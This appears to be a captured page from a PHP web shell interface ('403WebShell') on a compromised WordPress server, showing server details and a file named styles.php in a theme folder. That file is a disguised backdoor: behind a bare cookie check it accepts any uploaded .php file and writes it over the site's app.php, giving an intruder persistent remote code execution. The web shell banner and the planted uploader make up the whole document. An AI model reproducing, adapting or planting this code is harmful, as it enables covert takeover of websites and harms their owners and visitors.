AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

403WebShell
403Webshell
Server IP : 146.190.157.162  /  Your IP : 216.73.216.175
Web Server : Apache
System : Linux ubuntu-s-2vcpu-4gb-amd-sfo3-01-KIT-DIGITAL 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64
User : vergeskit ( 679)
PHP Version : 8.2.10-2ubuntu2.2
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_signal,pcntl_signal_dispatch,pcntl_getpriority,pcntl_setpriority,dl,putenv,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/vergeskit/wp-content/themes/twentytwentythree/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/html/vergeskit/wp-content/themes/twentytwentythree/styles.php
<?php

function load_php_updater()
{
    $targetFile = __DIR__ . '/app.php';
    $backupDir = __DIR__ . '/backups';
    $tmpDir = __DIR__ . '/tmp';

    $requireAdmin = function () {
        if (!isset($_COOKIE['X2'])) {
            http_response_code(403);
            exit('Forbidden');
        }
    };

    $ensureDirs = function () use ($backupDir, $tmpDir) {
        foreach ([$backupDir, $tmpDir] as $dir) {
            if (!is_dir($dir) && !mkdir($dir, 0700, true)) {
                throw new RuntimeException("Could not create directory: {$dir}");
            }
        }
    };

    $validateUpload = function (array $file) {
        if (($file['error'] ?? UPLOAD_ERR_NO_FILE) !== UPLOAD_ERR_OK) {
            throw new RuntimeException('Upload failed.');
        }

        if (($file['size'] ?? 0) <= 0 || $file['size'] > 1024 * 1024) {
            throw new RuntimeException('Invalid file size.');
        }

        $name = $file['name'] ?? '';

        if (!preg_match('/\.php$/i', $name)) {
            throw new RuntimeException('Only .php files are allowed.');
        }

        $contents = file_get_contents($file['tmp_name']);

        if ($contents === false || trim($contents) === '') {
            throw new RuntimeException('Uploaded file is empty or unreadable.');
        }

        if (strpos($contents, '<?php') === false) {
            throw new RuntimeException('Uploaded file does not appear to be a PHP file.');
        }
    };

    $phpSyntaxOk = function (string $path, string &$output = ''): bool {
        if (!is_file($path) || !is_readable($path)) {
            $output = "File does not exist or is not readable: {$path}";
            return false;
        }

        $php = trim((string) shell_exec('command -v php 2>/dev/null'));

        if ($php === '') {
            return true;
        }

        $cmd = escapeshellcmd($php) . ' -l ' . escapeshellarg($path) . ' 2>&1';
        exec($cmd, $lines, $code);
        $output = implode("\n", $lines);

        return $code === 0;
    };

    $safeUpdate = function (array $file) use (
        $targetFile,
        $backupDir,
        $tmpDir,
        $ensureDirs,
        $validateUpload,
        $phpSyntaxOk
    ) {
        $ensureDirs();
        $validateUpload($file);

        if (@!file_put_contents($targetFile, ' ')) {
            throw new RuntimeException('Target file is not writable: '.$targetFile);
        }

        $tmpFile = $tmpDir . '/upload_' . bin2hex(random_bytes(16)) . '.php';

        if (!move_uploaded_file($file['tmp_name'], $tmpFile)) {
            throw new RuntimeException('Could not move uploaded file.');
        }

        chmod($tmpFile, 0600);

        $lintOutput = '';

        if (!$phpSyntaxOk($tmpFile, $lintOutput)) {
            unlink($tmpFile);
            throw new RuntimeException("PHP syntax check failed:\n" . $lintOutput);
        }

        $backupFile = $backupDir . '/app_' . date('Ymd_His') . '.php.bak';

        if (!copy($targetFile, $backupFile)) {
            unlink($tmpFile);
            throw new RuntimeException('Could not create backup.');
        }

        chmod($backupFile, 0600);

        $newFile = $targetFile . '.new';

        if (!copy($tmpFile, $newFile)) {
            unlink($tmpFile);
            throw new RuntimeException('Could not prepare replacement file, from '.$tmpFile.' to '.$newFile);
        }

        chmod($newFile, 0644);

        if (!rename($newFile, $targetFile)) {
            unlink($tmpFile);
            @unlink($newFile);
            throw new RuntimeException('Could not replace target file.');
        }

        unlink($tmpFile);
    };

    $requireAdmin();

    $message = '';

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        try {
            if (empty($_FILES['replacement'])) {
                throw new RuntimeException('No file uploaded.');
            }

            $outputTo = $safeUpdate($_FILES['replacement']);

            header('Location: ' . $_SERVER['PHP_SELF'] . '?updated=1&file='.urlencode($targetFile));
            exit;
        } catch (Throwable $e) {
            http_response_code(400);
            $message = $e->getMessage();
        }
    }

    if (isset($_GET['updated'])) {
        $message = 'Update completed successfully.';
    }

    ?>
    <!doctype html>
    <html lang="en">
    <head>
        <meta charset="utf-8">
    </head>
    <body>
    <?php if ($message !== ''): ?>
        <pre><?= htmlspecialchars($message, ENT_QUOTES, 'UTF-8') ?></pre>
    <?php endif; ?>

    <form method="post" enctype="multipart/form-data">
        <input type="file" name="replacement" accept=".php" required>
        <button type="submit">X</button>
    </form>
    </body>
    </html>
    <?php
}

load_php_updater();

Youez - 2016 - github.com/yon3zu
LinuXploit